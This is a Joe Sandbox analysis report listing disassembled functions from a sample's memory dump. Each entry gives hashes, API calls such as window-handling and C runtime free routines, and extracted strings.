Instruction Fuzzy Hash: BE524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00BE7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0857a7da0f3c164ff0cc7f804bf162dd944b15c38e42436e4ecea15042e97313
Instruction ID: 1d688bddadca97ff45dd673671e0743d86463fcce7a6825f353c415be53b46a9
Opcode Fuzzy Hash: 0857a7da0f3c164ff0cc7f804bf162dd944b15c38e42436e4ecea15042e97313
Instruction Fuzzy Hash: 5912E0B16587468FC718CF29C8C0A79B7E0FF94304F10896EE996C7780EB34A995DB45

Function 00BDC426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb5f21a68121105469f69922cfe3e1af5ea884dd7c98a3921e0a05ac4bbaddf1
Instruction ID: b0c3d23e44e8a71efcaca15f0562615a5538c113ef7f9809c4cab13f3f9b1bd4
Opcode Fuzzy Hash: eb5f21a68121105469f69922cfe3e1af5ea884dd7c98a3921e0a05ac4bbaddf1
Instruction Fuzzy Hash: 2BF19A71A083028FC719CF28C49462AFFE5EF8A314F645AAFF58597391E634E945CB42

Function 00BE6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 47fa51547ed9c9339d22707bff8516c8f77da2bcdbab773e81c6d4d81e3c6e97
Instruction ID: 5882779cee5e6908a13888e5fce7a4194433dccdd54abafb587fea8a2e58332a
Opcode Fuzzy Hash: 47fa51547ed9c9339d22707bff8516c8f77da2bcdbab773e81c6d4d81e3c6e97
Instruction Fuzzy Hash: 07D1E6716483858FCB14CF29C88475BBBE1FF99308F0445ADE8899B342D774E905CB96

Function 00BDE9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ebf982ae6940f38dd71800728d49c5634260b2d999704d25fb62dd0190f31b
Instruction ID: 284136d3519fbf224de12a992a92067e565d82703f645a22a9a6cda06beb7075
Opcode Fuzzy Hash: 54ebf982ae6940f38dd71800728d49c5634260b2d999704d25fb62dd0190f31b
Instruction Fuzzy Hash: DDE147745083908FC304CF69D8809AEBBF0BF8A314F46499EF9D497352C235EA19DB92

Function 00BE4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction ID: 8b81e2caf098994b455b27f96a229ccb46c6b28f7d818d1a3df540359de95f2e
Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction Fuzzy Hash: EB9179B02003858BDB24EF65DCD4BBEB7D5EB90300F1009ADFA96C7282EB759945D356

Function 00BE43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: f2273f8f55521b0b0208dcb59cc7d4f009e406ddad230bdaa9e790de6e6bdee2
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 558128717043C64FDB24DE6AD8D1BBD77D4EBA1304F0009AEE9868B3C2DF6489859752

Function 00BF51C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 894f767075c2f8d027b2ada556858d648b924df9b1a148cda93d30f3af54ce61
Instruction ID: 8058f328aeae740b5f871672e5cf24588da60d820b2d3fadc03734254db8cb5a
Opcode Fuzzy Hash: 894f767075c2f8d027b2ada556858d648b924df9b1a148cda93d30f3af54ce61
Instruction Fuzzy Hash: 64619B31A00F0C57DA389A6C68D5BBE63D4EB02340F1407DAE743DF682D691ED4E8359

Function 00BF4F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: e57d264ff41ecb9a15d67bf95f4a4aace33cfafdd2ea27d8b55a1b03930f9ea6
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: 05513761200F4D57DF384938859ABBF67C9DB02300F1809D9EB8ADB283DA15EE4D83A5

Function 00BDEFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81234bc02871d82203098e8eeb92e174deecdab25f1e0ba861f8489ade0f6e0a
Instruction ID: 8af0c25cd60f4e3934747c17faa309fc247332942e40514bba8d0cc07b10437d
Opcode Fuzzy Hash: 81234bc02871d82203098e8eeb92e174deecdab25f1e0ba861f8489ade0f6e0a
Instruction Fuzzy Hash: 4A51B33150D3D68AC711CF24C54047EFFE0AE9A314F4949EAE4DA5B343D231DA4ADB52

Function 00BE00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85088c9e326902f4f74716c7875f9545bbef1bbb9a5326de234af0627b33f714
Instruction ID: 6b708523f15f2f09c29b101d337d1aa885ab35476645ec1f01c6085b2a934247
Opcode Fuzzy Hash: 85088c9e326902f4f74716c7875f9545bbef1bbb9a5326de234af0627b33f714
Instruction Fuzzy Hash: 5C51DFB1A087159FC748CF19D48055AF7E1FF88314F058A2EE899E3341D734EA99CB9A

Function 00BE3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 774bec96438991e4cdf8983b7262865bf04784657ef0d097b5b471b8d01c6ba5
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: 6C3118B1A147468FCB18DF29C89116EFBE0FB95704F10456DE885C7341D735EA0ACB91

Function 00BDE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BDE30E

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

Part of subcall function 00BE1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00C11030,00000200,00BDD928,00000000,?,00000050,00C11030), ref: 00BE1DC4

_strlen.LIBCMT ref: 00BDE32F
SetDlgItemTextW.USER32(?,00C0E274,?), ref: 00BDE38F
GetWindowRect.USER32(?,?), ref: 00BDE3C9
GetClientRect.USER32(?,?), ref: 00BDE3D5
GetWindowLongW.USER32(?,000000F0), ref: 00BDE475
GetWindowRect.USER32(?,?), ref: 00BDE4A2
SetWindowTextW.USER32(?,?), ref: 00BDE4DB
GetSystemMetrics.USER32(00000008), ref: 00BDE4E3
GetWindow.USER32(?,00000005), ref: 00BDE4EE
GetWindowRect.USER32(00000000,?), ref: 00BDE51B
GetWindow.USER32(00000000,00000002), ref: 00BDE58D

Strings

d, xrefs: 00BDE3F5
CAPTION, xrefs: 00BDE4BD
$%s:, xrefs: 00BDE302

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: dabb7cadd0b0f7b5889052a80e6d2b7768f378b8647341e31e624562007e2c9e
Instruction ID: 5beea1ae317a3e42e709774fd6c305f8ca821c00b1afa8d80d48408ebdb530ff
Opcode Fuzzy Hash: dabb7cadd0b0f7b5889052a80e6d2b7768f378b8647341e31e624562007e2c9e
Instruction Fuzzy Hash: AA81B071208341AFD710DFA8CD89B6FFBE9EB88714F04092EFA9597250E735E9058B52

Function 00BFCB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00BFCB66

Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC71E
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC730
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC742
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC754
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC766
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC778
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC78A
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC79C
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC7AE
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC7C0
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC7D2
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC7E4
Part of subcall function 00BFC701: _free.LIBCMT ref: 00BFC7F6

_free.LIBCMT ref: 00BFCB5B

Part of subcall function 00BF8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?), ref: 00BF8DE2
Part of subcall function 00BF8DCC: GetLastError.KERNEL32(?,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?,?), ref: 00BF8DF4

_free.LIBCMT ref: 00BFCB7D
_free.LIBCMT ref: 00BFCB92
_free.LIBCMT ref: 00BFCB9D
_free.LIBCMT ref: 00BFCBBF
_free.LIBCMT ref: 00BFCBD2
_free.LIBCMT ref: 00BFCBE0
_free.LIBCMT ref: 00BFCBEB
_free.LIBCMT ref: 00BFCC23
_free.LIBCMT ref: 00BFCC2A
_free.LIBCMT ref: 00BFCC47
_free.LIBCMT ref: 00BFCC5F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 63efad5d4bb9c2dae470d71057c1993ac791ae8330a09f506e2fdf7887c25980
Instruction ID: 5b418336b9b4a6d43527638313e70a1ae7ac25981e13e3694e18331836d6073b
Opcode Fuzzy Hash: 63efad5d4bb9c2dae470d71057c1993ac791ae8330a09f506e2fdf7887c25980
Instruction Fuzzy Hash: 33315E3560030D9FEB24AA38DA46B7ABBE9EF11350F1454ADE658D7192DF31EC88CB50

Function 00BE9711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BE9736
_wcslen.LIBCMT ref: 00BE97D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00BE97E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00BE9806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BE982D

Strings

</html>, xrefs: 00BE97B7
<html>, xrefs: 00BE9755, 00BE978E
utf-8"></head>, xrefs: 00BE976B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00BE9760

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 547b697c21818df1abbe1fed7a0446b88539adafc2cea6688bd4246746509b7f
Instruction ID: b1f9ddbff0e5a2d08847bde065ada8ee50cb3c4c04155eb3c75ace27fcdd2c43
Opcode Fuzzy Hash: 547b697c21818df1abbe1fed7a0446b88539adafc2cea6688bd4246746509b7f
Instruction Fuzzy Hash: DB3146321083957AE729AB369C46F6F77DCEF52710F10019EFA01971D2EB649A0CC3A6

Function 00BED69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00BED6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00BED6ED

Part of subcall function 00BE1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BDC116,00000000,.exe,?,?,00000800,?,?,?,00BE8E3C), ref: 00BE1FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00BED709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00BED720
GetObjectW.GDI32(00000000,00000018,?), ref: 00BED734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00BED75D
DeleteObject.GDI32(00000000), ref: 00BED764
GetWindow.USER32(00000000,00000002), ref: 00BED76D

Strings

STATIC, xrefs: 00BED6F3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: b986b13abfc350b0916bee4bdf53e0605a93afec5997791336ba53634278c675
Instruction ID: 88f7d3009563fcda674e8b003ca1e5caa8be68578c441e57ebcbf79c7de94337
Opcode Fuzzy Hash: b986b13abfc350b0916bee4bdf53e0605a93afec5997791336ba53634278c675
Instruction Fuzzy Hash: 511126722043E07BE3216B729C8AFAF76DCEF54711F004161FA51A60D1DBA4CF0546B5

Function 00BF96F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BF9705

Part of subcall function 00BF8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?), ref: 00BF8DE2
Part of subcall function 00BF8DCC: GetLastError.KERNEL32(?,?,00BFC896,?,00000000,?,00000000,?,00BFC8BD,?,00000007,?,?,00BFCCBA,?,?), ref: 00BF8DF4

_free.LIBCMT ref: 00BF9711
_free.LIBCMT ref: 00BF971C
_free.LIBCMT ref: 00BF9727
_free.LIBCMT ref: 00BF9732
_free.LIBCMT ref: 00BF973D
_free.LIBCMT ref: 00BF9748
_free.LIBCMT ref: 00BF9753
_free.LIBCMT ref: 00BF975E
_free.LIBCMT ref: 00BF976C

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c8f38a6dd3ac2ba90b72366d89156ad2a05769e481ad9c200b815fbde0711b03
Instruction ID: 9655b784ee17d40955c1dddf1e9c23ba2163efb145cd3a700fb3b96c6b32ec79
Opcode Fuzzy Hash: c8f38a6dd3ac2ba90b72366d89156ad2a05769e481ad9c200b815fbde0711b03
Instruction Fuzzy Hash: 0111A47A11010DAFCB01EF94C842DE93BB5EF15390B5154A9FB088F262DE32DE589B84

Function 00BF2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BF2F50
___TypeMatch.LIBVCRUNTIME ref: 00BF305E
_UnwindNestedFrames.LIBCMT ref: 00BF31B0
CallUnexpected.LIBVCRUNTIME ref: 00BF31CB
_abort.LIBCMT ref: 00BF31D0

Strings

csm, xrefs: 00BF2EDB
csm, xrefs: 00BF2E6E
csm, xrefs: 00BF2F87

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
